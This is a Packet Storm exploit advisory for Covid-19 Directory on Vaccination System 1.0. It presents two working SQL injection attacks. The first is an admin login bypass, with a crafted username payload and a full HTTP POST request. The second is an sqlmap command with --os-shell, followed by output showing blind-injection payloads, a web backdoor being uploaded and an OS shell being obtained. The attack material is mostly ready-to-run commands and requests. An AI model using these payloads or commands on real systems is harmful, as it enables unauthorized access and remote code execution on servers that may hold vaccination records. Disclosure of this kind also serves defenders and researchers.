exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Covid-19 Directory On Vaccination System 1.0 SQL Injection

Covid-19 Directory On Vaccination System 1.0 SQL Injection
Posted Mar 28, 2022
Authored by Saud Alenazi

Covid-19 Directory on Vaccination System version 1.0 suffers from multiple remote SQL injection vulnerabilities. This research was submitted on the same day Packet Storm received similar findings from Hejap Zairy.

tags | exploit, remote, vulnerability, sql injection
SHA-256 | af74de0ddf754cd0ccfd343220ae4740c7b2b0e5648cd2c45a23dcfa4a112553

Covid-19 Directory On Vaccination System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Covid-19 Directory on Vaccination System 1.0 - SQLi Authentication Bypass
# Date: 28/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html
# Version: 1.0
# Tested on: XAMPP, Linux

1- Go to following url. >> http://localhost/covid-19-vaccination/admin/login.php
2- We can login succesfully with SQL bypass method.

**** Username = admin ' or "a" or '
**** password = anything

###############################################

POST /covid-19-vaccination/admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://localhost
Connection: close
Referer: http://localhost/covid-19-vaccination/admin/login.php
Cookie: PHPSESSID=dras0itihsadtdkkkv7gv4hf67
Upgrade-Insecure-Requests: 1

txtusername=admin+%27+or+%22a%22+or+%27&txtpassword=1&btnlogin=




--------------------------


# Exploit Title: Covid-19 Directory on Vaccination System 1.0 - 'cmdcategory' SQL Injection
# Date: 28/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html
# Version: 1.0
# Tested on: XAMPP, Linux



The Covid-19 Directory on Vaccination System is vulnerable to SQL Injection that leads to Remote Code Execution.

Sqlmap command :

sqlmap -u 'http://localhost/covid-19-vaccination/hospital.php?cmdcategory=Private' -p cmdcategory --risk=3 --level=5 --threads=10 --keep-alive --os-shell

Now you have a web shell uploaded to the server :

sqlmap -u 'http://localhost/covid-19-vaccination/hospital.php?cmdcategory=Private' -p cmdcategory --risk=3 --level=5 --threads=10 --keep-alive --os-shell
___
__H__
___ ___[,]_____ ___ ___ {1.6.3#stable}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:35:27 /2022-03-28/

[00:35:31] [INFO] resuming back-end DBMS 'mysql'
[00:35:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cmdcategory (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cmdcategory=Private') AND 3773=3773-- fUxB

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cmdcategory=Private') AND (SELECT 9765 FROM (SELECT(SLEEP(5)))DnRk)-- LWnB
---
[00:35:32] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.1.2, Apache 2.4.52
back-end DBMS: MySQL 5 (MariaDB fork)
[00:35:32] [INFO] going to use a web backdoor for command prompt
[00:35:32] [INFO] fingerprinting the back-end DBMS operating system
[00:35:32] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
[00:36:09] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /opt/lampp/htdocs/covid-19-vaccination/
[00:36:30] [WARNING] unable to automatically parse any web server path
[00:36:30] [INFO] trying to upload the file stager on '/opt/lampp/htdocs/covid-19-vaccination/' via LIMIT 'LINES TERMINATED BY' method
[00:36:30] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[00:36:30] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads')
[00:36:31] [INFO] the file stager has been successfully uploaded on '/opt/lampp/htdocs/covid-19-vaccination/' - http://localhost:80/covid-19-vaccination/tmpumlrg.php
[00:36:31] [WARNING] unable to upload the file through the web file stager to '/opt/lampp/htdocs/covid-19-vaccination/'
[00:36:31] [WARNING] backdoor has not been successfully uploaded through the file stager possibly because the user running the web server process has not write privileges over the folder where the user running the DBMS process was able to upload the file stager or because the DBMS and web server sit on different servers
do you want to try the same method used for the file stager? [Y/n] y
[00:36:33] [INFO] the backdoor has been successfully uploaded on '/opt/lampp/htdocs/covid-19-vaccination/' - http://localhost:80/covid-19-vaccination/tmpbwipl.php
[00:36:33] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    66 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close